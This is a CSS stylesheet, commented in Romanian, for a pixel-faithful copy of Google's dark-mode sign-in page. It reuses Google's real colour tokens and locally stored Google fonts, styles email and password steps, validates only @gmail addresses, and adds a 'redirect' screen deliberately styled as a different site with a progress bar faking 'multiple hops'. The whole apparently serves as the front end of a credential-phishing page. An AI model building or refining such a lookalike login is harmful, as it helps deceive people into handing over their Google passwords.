/* Google sign-in — dark mode, layout după captura de referință */

/* Fonturile reale Google (Google Sans pentru titluri/butoane, Roboto pentru input),
   descărcate local în ./fonts/ (aceleași fișiere .woff2 de pe gstatic) — pagina e autonomă, nu depinde de rețea */
/* Google Sans / Roboto — fonturi variabile; 3 subseturi (latin, latin-ext, vietnamese) ca să acopere
   diacriticele românești (ă, ț, ș, â, î). font-weight: 100 900 → bold real la 700 din axa variabilă. */
@font-face {
    font-family: 'Google Sans';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/googlesans-latin.woff2) format('woff2');
    unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {   /* latin-ext: ț (U+021B), ș (U+0219) */
    font-family: 'Google Sans';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/googlesans-latinext.woff2) format('woff2');
    unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
@font-face {   /* vietnamese: ă (U+0103), Ă (U+0102) */
    font-family: 'Google Sans';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/googlesans-vietnamese.woff2) format('woff2');
    unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
@font-face {
    font-family: 'Roboto';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/roboto-latin.woff2) format('woff2');
    unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {   /* Roboto latin-ext */
    font-family: 'Roboto';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/roboto-latinext.woff2) format('woff2');
    unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
@font-face {   /* Roboto vietnamese */
    font-family: 'Roboto';
    font-style: normal;
    font-weight: 100 900;
    src: url(./fonts/roboto-vietnamese.woff2) format('woff2');
    unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}

/* Tokenii reali de dark mode din pagina Google (--gm3-sys-color-*) */
:root {
    --bg: #1e1f20;          /* surface-container (fundalul paginii) */
    --card: #0e0e0e;        /* surface-container-lowest (cardul, mai închis decât fundalul) */
    --text: #e3e3e3;        /* on-surface — titlu, subtitlu, text input */
    --text-variant: #c4c7c5;/* on-surface-variant — etichetă, text invitat, footer */
    --outline: #8e918f;     /* outline — conturul câmpului de email */
    --primary: #a8c7fa;     /* primary — linkuri, focus câmp */
    --btn-bg: #a8c7fa;      /* buton „Înainte" fundal — rgb(168,199,250) din computed real */
    --btn-text: #062e6f;    /* buton „Înainte" text — rgb(6,46,111) din computed real */
    --accent: #a8c7fa;      /* butoane text (Creează un cont) — rgb(168,199,250) real */
    --error: #f2b8b5;       /* Material dark error — text/contur pentru validarea emailului */
    --font: 'Google Sans', Roboto, Arial, sans-serif;
}

* { box-sizing: border-box; }

html, body { height: 100%; }

body {
    margin: 0;
    background-color: var(--bg);
    color: var(--text);
    font-family: var(--font);
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

/* ascundere corectă când e prezent atributul hidden (id-urile bat regula UA [hidden]) */
#page[hidden], .overlay[hidden] { display: none !important; }

/* ===== Ecrane de intrare: loading + eroare ===== */
.overlay {
    min-height: 100vh;
    min-height: 100dvh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 24px;
    padding: 48px 24px;
    text-align: center;
}

/* ecran de redirect — arată ca ALT site (nu ca pagina Google):
   fundal deschis, font serif de sistem, bară gri neutră. Contrast intenționat. */
#redirect {
    gap: 20px;
    background: #f6f6f4;                      /* fundal deschis, alt site */
    color: #333;
    font-family: Georgia, "Times New Roman", Times, serif;  /* alt font, clar diferit de Google Sans */
}
.redirect_bar {
    position: fixed;
    top: 0;
    left: 0;
    height: 3px;
    width: 0;
    background: #6b6b6b;                      /* bară gri neutră, nu albastrul Google */
    animation: redirectbar .85s cubic-bezier(.4, 0, .2, 1) forwards;
}
@keyframes redirectbar {          /* avansează în trepte → senzația de „mai multe hopuri" */
    0%   { width: 0; }
    25%  { width: 28%; }
    50%  { width: 50%; }
    75%  { width: 72%; }
    100% { width: 96%; }
}
.redirect_text {
    margin: 0;
    font-family: inherit;                     /* serif-ul de pe #redirect */
    font-size: 1rem;
    letter-spacing: normal;
    color: #555;
}

/* spinner Material — arc care se rotește, în albastrul Google */
.spinner {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    border: 3px solid rgba(255, 255, 255, .16);
    border-top-color: var(--primary);
    animation: spin .9s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }

/* ecran de eroare — card centrat pe desktop, ca ecranele de login */
#error { justify-content: center; }   /* .overlay dă deja flex + centrare verticală */
.err_card {                            /* același chenar ca #card */
    width: 1040px;
    max-width: 100%;
    min-height: 392px;
    padding: 48px 36px 36px;
    background: var(--card);
    border-radius: 28px;
    text-align: left;                  /* conținutul cardului aliniat stânga (nu centrat ca .overlay) */
}
.err_logo { display: block; width: 48px; height: 48px; padding: 4px; }
.err_title {                       /* ca #signin_heading */
    font-size: 44px;
    font-weight: 400;
    line-height: 52px;
    margin: 24px 0 0;
    color: var(--text);
    overflow-wrap: break-word;
}
.err_text {                        /* ca #statement */
    font-size: 1rem;
    line-height: 1.5;
    margin: 16px 0 0;
    color: var(--text);
}
#login_btn {                       /* același stil ca butonul „Înainte" (filled pill) */
    height: 40px;
    margin-top: 32px;
    padding: 0 24px;
    background: var(--btn-bg);
    border: none;
    border-radius: 20px;
    font-family: var(--font);
    font-size: .875rem;
    font-weight: 500;
    letter-spacing: .0107142857em;
    color: var(--btn-text);
    cursor: pointer;
}
#login_btn:hover { box-shadow: 0 1px 2px 0 rgba(0,0,0,.3), 0 1px 3px 1px rgba(0,0,0,.15); }

/* Pagina: card centrat pe verticală, footer jos */
#page {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 48px 24px;
}

/* Cardul (.TcuCfd) — 840px, două coloane 50/50, radius 28px */
#card {
    align-self: center;
    display: flex;
    width: 1040px;
    max-width: 100%;
    min-height: 392px;          /* aceeași înălțime la ambii pași (email = 392, parolă se umple la fel) */
    padding: 48px 36px 36px;    /* butoanele mai aproape de marginea de jos (era 64px, prea lung) */
    background-color: var(--card);
    border-radius: 28px;
    gap: 48px;                   /* gutterul e în mijloc → ambele coloane sunt lipite de marginile cardului (36px) simetric */
}

/* coloane egale care împart spațiul rămas după gap (460px fiecare); margini egale față de chenar */
.col { flex: 1 1 0; min-width: 0; }
.left  { display: flex; flex-direction: column; margin-top: -16px; }   /* blocul logo+titlu urcat puțin */
.right { padding-top: 72px; display: flex; flex-direction: column; }   /* coloană flex: butoanele pot fi împinse la bază */
.step { display: flex; flex-direction: column; flex: 1 1 auto; min-height: 0; }
.step[hidden] { display: none; }   /* păstrează ascunderea pașilor inactivi */

/* Coloana stângă — logo, titlu, subtitlu */
#google_logo {
    display: block;
    width: 48px;                      /* box 48px, glyph 40px prin padding 4px (box-sizing: border-box) — exact ca real */
    height: 48px;
    padding: 4px;
    margin-bottom: 0;                 /* real: margin-bottom 0, spațierea vine din heading margin-top */
}
#signin_heading, #account_name {      /* .vAV9bf — titlu + nume cont pe ecranul de parolă */
    font-size: 44px;                  /* real 44px / 52px line-height */
    font-weight: 400;                 /* normal (fără bold) */
    line-height: 52px;
    margin: 24px 0 0;                 /* real margin 24 0 0 */
    color: var(--text);
    word-break: break-word;
}
#statement {                          /* .gNJDp */
    font-size: 1rem;                  /* 16px */
    font-weight: 400;                 /* normal (fără bold) */
    line-height: 1.5;
    margin: 16px 0 0;
    color: var(--text);               /* on-surface, nu dim */
}

/* Câmpul de email — outlined text field cu etichetă flotantă */
.field { position: relative; margin-top: 4px; }
.tf {
    width: 100%;
    height: 56px;
    padding: 0 15px;
    background: transparent;
    border: 1px solid var(--outline);
    border-radius: 4px;               /* radius real din computed (4px) */
    outline: none;
    font-size: 1rem;
    font-family: var(--font);
    color: var(--text);
}
.field label {
    position: absolute;
    left: 8px;
    right: 8px;                       /* nu depăși inputul spre dreapta */
    top: 50%;
    transform: translateY(-50%);
    padding: 0 8px;
    background: var(--card);
    color: var(--text-variant);
    font-size: 1rem;
    pointer-events: none;
    white-space: nowrap;              /* eticheta în repaus se taie cu „…", nu iese din câmp */
    overflow: hidden;
    text-overflow: ellipsis;
    transition: top .15s cubic-bezier(.4,0,.2,1), font-size .15s cubic-bezier(.4,0,.2,1), color .15s cubic-bezier(.4,0,.2,1);
}
.tf:focus + label,
.tf:not(:placeholder-shown) + label {
    right: auto;                      /* când urcă (12px) redevine compactă, doar cât textul */
}
.tf:focus {
    border: 2px solid var(--primary);
    padding: 0 14px;
}
.tf:focus + label,
.tf:not(:placeholder-shown) + label {
    top: 0;
    font-size: .75rem;                /* 12px */
}
.tf:focus + label { color: var(--primary); }

/* Stare de eroare a câmpului de email (validare @gmail.*) */
.tf.invalid { border-color: var(--error); }
.tf.invalid:focus { border-color: var(--error); }
.field_error {
    margin: 4px 2px 0;
    font-size: .75rem;
    color: var(--error);
}

/* Link „Ai uitat adresa de e-mail?" / „Ai uitat parola?" (.fAlnEc button → primary) */
#forgot, #forgot_pw {
    align-self: flex-start;          /* nu se întinde pe toată lățimea (altfel textul butonului se centrează) */
    margin: 4px 0 0 -6px;            /* mic spațiu față de input; margin-left = -padding-left ca textul să rămână la marginea inputului */
    padding: 4px 6px;                /* hover mai mic în toate direcțiile */
    background: transparent;
    border: none;
    border-radius: 8px;              /* colțuri mai rotunjite */
    font-family: var(--font);
    font-size: .875rem;
    font-weight: 700;                /* bold */
    letter-spacing: .015625rem;
    color: var(--primary);
    cursor: pointer;
}
#forgot:hover, #forgot_pw:hover { background: rgba(168,199,250,.08); }

/* ===== Ecranul de parolă ===== */
/* Chip cont (avatar + email + caret) sub numele contului, în coloana stângă */
#account_chip {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    height: 36px;
    max-width: 100%;
    padding: 0 12px 0 6px;
    margin-top: 24px;
    border: 1px solid var(--outline);
    border-radius: 18px;
    font-size: .875rem;
    color: var(--text);
}
#account_avatar {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 24px;
    height: 24px;
    border-radius: 50%;
    background: #a142f4;              /* avatar mov ca în referință */
    color: #fff;
    font-size: .75rem;
    font-weight: 500;
    flex: 0 0 auto;
}
#account_email { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
#account_caret { flex: 0 0 auto; color: var(--text-variant); }

/* Textul „Pentru a continua..." deasupra câmpului de parolă */
#confirm_text {
    margin: -16px 0 32px;           /* o idee mai sus (aliniat cu numele din stânga) */
    font-size: .875rem;
    line-height: 1.4286;
    color: var(--text);
}

/* „Afișează parola" — checkbox pătrat (stil Material) + etichetă */
#show_pw {
    display: inline-flex;
    align-self: flex-start;         /* lățime naturală, la stânga */
    align-items: center;
    gap: 16px;
    margin-top: 10px;               /* mai lipit de input */
    font-size: .875rem;
    color: var(--text);
    cursor: pointer;
}
#show_pw_cb {
    appearance: none;
    -webkit-appearance: none;
    width: 18px;
    height: 18px;
    margin: 0;
    border: 2px solid var(--text-variant);
    border-radius: 2px;
    background: transparent;
    position: relative;
    cursor: pointer;
    flex: 0 0 auto;
}
#show_pw_cb:checked {
    background: var(--primary);
    border-color: var(--primary);
}
#show_pw_cb:checked::after {           /* bifa */
    content: "";
    position: absolute;
    left: 4px;
    top: 1px;
    width: 4px;
    height: 8px;
    border: solid #062e6f;
    border-width: 0 2px 2px 0;
    transform: rotate(45deg);
}

/* Textul „mod invitat" (.RDsYTb) */
#guest {
    margin: 32px 0 0;
    font-size: .875rem;
    line-height: 1.4286;
    color: var(--text-variant);
}
.link { color: var(--primary); font-weight: 700; text-decoration: none; }   /* bold */
.link:hover { text-decoration: underline; }

/* Butoanele din dreapta jos */
.actions {
    display: flex;
    align-items: center;
    justify-content: flex-end;
    gap: 8px;
    margin-top: auto;               /* împinge butoanele la baza coloanei (spațiul liber merge deasupra) */
    padding-top: 32px;              /* păstrează un minim de spațiu față de conținutul de deasupra */
}
#create_button, #other_way {          /* .ksBjEc.lKxP2d → text button */
    height: 40px;
    padding: 0 16px;
    background: transparent;
    border: none;
    border-radius: 20px;
    font-family: var(--font);
    font-size: .875rem;
    font-weight: 500;
    letter-spacing: .0107142857em;
    color: var(--accent);
    cursor: pointer;
}
#create_button:hover, #other_way:hover { background: rgba(138,180,248,.08); }
#next_button, #next_button2 {         /* .nCP5yc.AjY5Oe → filled button */
    height: 40px;
    padding: 0 24px;
    background: var(--btn-bg);
    border: none;
    border-radius: 20px;
    font-family: var(--font);
    font-size: .875rem;
    font-weight: 500;
    letter-spacing: .0107142857em;
    color: var(--btn-text);
    cursor: pointer;
}
#next_button:hover, #next_button2:hover { box-shadow: 0 1px 2px 0 rgba(0,0,0,.3), 0 1px 3px 1px rgba(0,0,0,.15); }

/* Footer — aliniat cu lățimea cardului */
#footer {
    width: 1040px;
    max-width: 100%;
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-top: 8px;             /* footer imediat sub chenar */
    padding: 8px 0;
    font-size: .875rem;          /* real 14px */
}
#languages {
    height: 32px;
    width: 102px;                /* cât „română" + săgeată, ca săgeata să stea lângă text (nu departe la dreapta) */
    padding: 0 24px 0 8px;
    background: transparent;
    color: var(--text);
    border: none;
    outline: none;
    font-family: var(--font);
    font-size: .875rem;          /* 14px, ca footerul real */
    border-radius: 4px;
    cursor: pointer;
    -webkit-appearance: none;
    appearance: none;
    background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20' viewBox='0 0 24 24' fill='%23c4c7c5'><path d='M7 10l5 5 5-5z'/></svg>");
    background-repeat: no-repeat;
    background-position: right 2px center;
}
#languages:hover { background-color: rgba(255,255,255,.06); }
#languages option { background: #1e1f20; color: var(--text); }

#foot_links { display: flex; gap: 24px; }
.foot_link { color: var(--text); text-decoration: none; }
.foot_link:hover { text-decoration: underline; }

/* Responsive — o coloană, card pe tot ecranul (ca pe mobilul real Google) */
@media (max-width: 700px) {
    /* fundal negru continuu: cardul și footerul se contopesc, fără margini în jurul cardului */
    body { background-color: var(--card); }

    #page {
        min-height: 100vh;
        min-height: 100dvh;          /* ține cont de bara de adrese pe mobil */
        padding: 0;
        justify-content: flex-start; /* conținutul pornește de sus, nu centrat */
    }

    #card {
        flex-direction: column;
        flex: 1 1 auto;              /* cardul crește ca să umple ecranul până la footer */
        width: 100%;
        gap: 0;
        padding: 24px 24px 0;        /* margini laterale 24px, footerul preia baza */
        border-radius: 0;
        min-height: 0;
    }

    /* width:100% + min-width:0 → coloana se lipește de lățimea ecranului și nu iese în dreapta */
    .col { flex: 0 0 auto; width: 100%; max-width: 100%; min-width: 0; }
    .left { margin-top: 0; }         /* logoul nu mai e tras sub status bar */
    .right {
        padding-top: 24px;
        flex: 0 0 auto;              /* coloana NU crește → butoanele rămân sub text, spațiul gol e dedesubt */
    }

    #google_logo { margin-bottom: 4px; }
    #signin_heading, #account_name { font-size: 2rem; line-height: 1.25; margin-top: 16px; }
    #statement { font-size: .95rem; }

    /* Create account stânga, Înainte dreapta; imediat sub textul de mai sus (nu lipite de footer) */
    .actions { justify-content: space-between; margin-top: 24px; padding-top: 0; padding-bottom: 8px; }
    /* textul „Creează un cont" aliniat cu marginea din stânga a celorlalte elemente
       (butonul text are 16px padding intern → îl compensăm cu margin negativ) */
    #create_button, #other_way { margin-left: -16px; }

    /* Footer pe un singur rând, lipit de baza ecranului */
    #footer {
        width: 100%;
        flex-direction: row;
        flex-wrap: wrap;             /* dacă textul RO e prea lung, trece pe rândul următor elegant */
        align-items: center;
        justify-content: space-between;
        gap: 8px 16px;
        margin-top: 0;
        padding: 16px 24px 20px;
    }
    /* „română" aliniat cu marginea din stânga a celorlalte elemente (compensează padding-ul intern de 8px) */
    #languages { margin-left: -8px; }

    /* ecranul de parolă: spațiere mai amplă în jurul textului „Pentru a continua..." (ca în referință) */
    #confirm_text { margin: 32px 0 40px; }
    #account_chip { margin-top: 16px; }

    /* ecranul de eroare — full-bleed pe mobil, ca celelalte ecrane */
    #error { padding: 0; justify-content: flex-start; }
    .err_card {
        width: 100%;
        min-height: 100vh;
        min-height: 100dvh;
        border-radius: 0;
        padding: 24px 24px 0;
    }
    .err_logo { margin-bottom: 4px; }
    .err_title { font-size: 2rem; line-height: 1.25; margin-top: 16px; }
    .err_text { font-size: .95rem; }
}